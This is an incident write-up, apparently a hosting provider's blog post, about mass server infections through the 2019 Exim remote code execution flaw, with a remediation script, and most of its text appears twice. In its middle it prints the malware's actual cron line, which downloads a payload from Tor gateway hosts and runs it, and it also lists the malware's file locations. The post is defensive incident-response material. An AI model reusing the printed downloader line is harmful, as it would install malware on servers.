June 10, 2019 at 21:33The first wave affected by the Exim vulnerability. The script for the treatment
The vulnerability with Exim's RCE was already quite sensational, and pretty much tattered the nerves of system administrators around the world.
In the wake of massive infections (many of our clients use Exim as a mail server) they quickly spread a script to automate the solution to the problem. The script is far from ideal and full of suboptimal code, but it is a quick combat solution in order not to perform the same actions on hundreds or even thousands of servers.
It works on servers running Centos, RHEL, Debian, Ubuntu with an Exim mail server installed.
Check running processes with the top command.
On infected servers, there is a 100% load created by the [kthrotlds] process. Also in the cron scheduler a task is added with limited editing rights.
All the infection incidents we encountered were of the same type, the second and third waves may differ from them - for them it may be necessary to modify the script. At the time of infection, tasks in cron are irrevocably lost and they must be returned by hand. The script "cuts off the shoulder" - fearlessly updates Exim to patched versions, in the case of Centos 6 even from the test repository. The malware instance is in memory, so the server must be restarted immediately after cleaning the crowns.
Important:the vulnerability allows executing code from root, which does not give any guarantees of one hundred percent healing. Having root access to the server, you can hide almost anything on this server, so that it will be almost impossible to find it. Guaranteed to completely cure the server can only be a complete reinstall, but it is far from always possible. If there is no possibility to reinstall the server, and the symptoms are the same as described, you can try to quickly fill up the holes with this script.
Using a script, you do this at your own peril and risk: we tested the script on a number of servers, however, there are always risks of incompatible software versions or a configuration conflict.
Our script also allows you to cure only one of the possible implementations of the infection - it is possible that already now there are other ways to exploit the vulnerability that have not come into our view.
1. Updates Exim, reinstalls curl.
2. Checks for infection on the server.
2a. If there are traces of a virus script in the / etc folder, do the following
2b. If there is no trace of infection, the script exits.
The virus deletes all cron scheduler jobs. Therefore, after rebooting the server, they need to be reconfigured or restored from the backup.
curl is also infected by the virus, so it is reinstalled.
Rebooting (the script executes it automatically after treatment) is required - otherwise the malware is stored in the server’s memory and self-replicates every 30 seconds even after deleting the infected files.
Traditionally: before starting, make sure that you have the actual backup copy of the server data on hand.
Connect to the server via ssh as a user with root privileges. You can also use the Shell client in the ISPmanager - Tools panel.
In the terminal, enter the command:
Expect the script to complete and reboot the server.
After the reboot, check the operation of the server and the sites / applications hosted on it, reconfigure or restore tasks to cron from the backup.
In fact, the script is a temporary solution for restoring the server to work, for guaranteed prevention, the best solution is to switch to a new server with the version of the operating system that no longer contains a vulnerability.
All recommendations for finalizing / processing the script are welcome. If you encounter another symptom of infection - show it, please. Cooperation at the time of mass infections significantly reduces the time required to eliminate these infections.
Good luck
UPD1: Added on github .
The source code for the Malvari script was uploaded there, which was managed to be pulled from the infected server .
UPD2: for Centos 6, release 4.92 came in EPEL, now in all versions of the script it is installed from the main repositories. Initially, the script downloaded 4.92 for Centos 6 from EPEL / testing.
In the wake of massive infections (many of our clients use Exim as a mail server) they quickly spread a script to automate the solution to the problem. The script is far from ideal and full of suboptimal code, but it is a quick combat solution in order not to perform the same actions on hundreds or even thousands of servers.
It works on servers running Centos, RHEL, Debian, Ubuntu with an Exim mail server installed.
How to understand that the server is hacked?
Check running processes with the top command.
On infected servers, there is a 100% load created by the [kthrotlds] process. Also in the cron scheduler a task is added with limited editing rights.
Alert Section
All the infection incidents we encountered were of the same type, the second and third waves may differ from them - for them it may be necessary to modify the script. At the time of infection, tasks in cron are irrevocably lost and they must be returned by hand. The script "cuts off the shoulder" - fearlessly updates Exim to patched versions, in the case of Centos 6 even from the test repository. The malware instance is in memory, so the server must be restarted immediately after cleaning the crowns.
Important:the vulnerability allows executing code from root, which does not give any guarantees of one hundred percent healing. Having root access to the server, you can hide almost anything on this server, so that it will be almost impossible to find it. Guaranteed to completely cure the server can only be a complete reinstall, but it is far from always possible. If there is no possibility to reinstall the server, and the symptoms are the same as described, you can try to quickly fill up the holes with this script.
Using a script, you do this at your own peril and risk: we tested the script on a number of servers, however, there are always risks of incompatible software versions or a configuration conflict.
Our script also allows you to cure only one of the possible implementations of the infection - it is possible that already now there are other ways to exploit the vulnerability that have not come into our view.
What does the script do?
1. Updates Exim, reinstalls curl.
2. Checks for infection on the server.
The script analyzes the tasks of the scheduler for the presence of suspicious inclusions.
For example, such:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to " && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2a. If there are traces of a virus script in the / etc folder, do the following
- stops cron
- kills a process launched by a virus script
- kills curl wget sh processes four times (run by virus on schedule)
- cleans the mail queue from all letters (infected messages are difficult to separate from harmless, so you have to delete the entire queue )
- Allows deletion of files where fragments of a malicious script are located:
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp - deletes these files
- removes an autostart job in /etc/rc.local
- removes an attacker key from allowed ssh keys
- runs cron
- and immediately reboots the server
2b. If there is no trace of infection, the script exits.
Refinements
The virus deletes all cron scheduler jobs. Therefore, after rebooting the server, they need to be reconfigured or restored from the backup.
curl is also infected by the virus, so it is reinstalled.
Rebooting (the script executes it automatically after treatment) is required - otherwise the malware is stored in the server’s memory and self-replicates every 30 seconds even after deleting the infected files.
How to use?
Traditionally: before starting, make sure that you have the actual backup copy of the server data on hand.
To run the script:
Connect to the server via ssh as a user with root privileges. You can also use the Shell client in the ISPmanager - Tools panel.
In the terminal, enter the command:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.shExpect the script to complete and reboot the server.
After the reboot, check the operation of the server and the sites / applications hosted on it, reconfigure or restore tasks to cron from the backup.
And finally
In fact, the script is a temporary solution for restoring the server to work, for guaranteed prevention, the best solution is to switch to a new server with the version of the operating system that no longer contains a vulnerability.
All recommendations for finalizing / processing the script are welcome. If you encounter another symptom of infection - show it, please. Cooperation at the time of mass infections significantly reduces the time required to eliminate these infections.
Good luck
UPD1: Added on github .
The source code for the Malvari script was uploaded there, which was managed to be pulled from the infected server .
UPD2: for Centos 6, release 4.92 came in EPEL, now in all versions of the script it is installed from the main repositories. Initially, the script downloaded 4.92 for Centos 6 from EPEL / testing.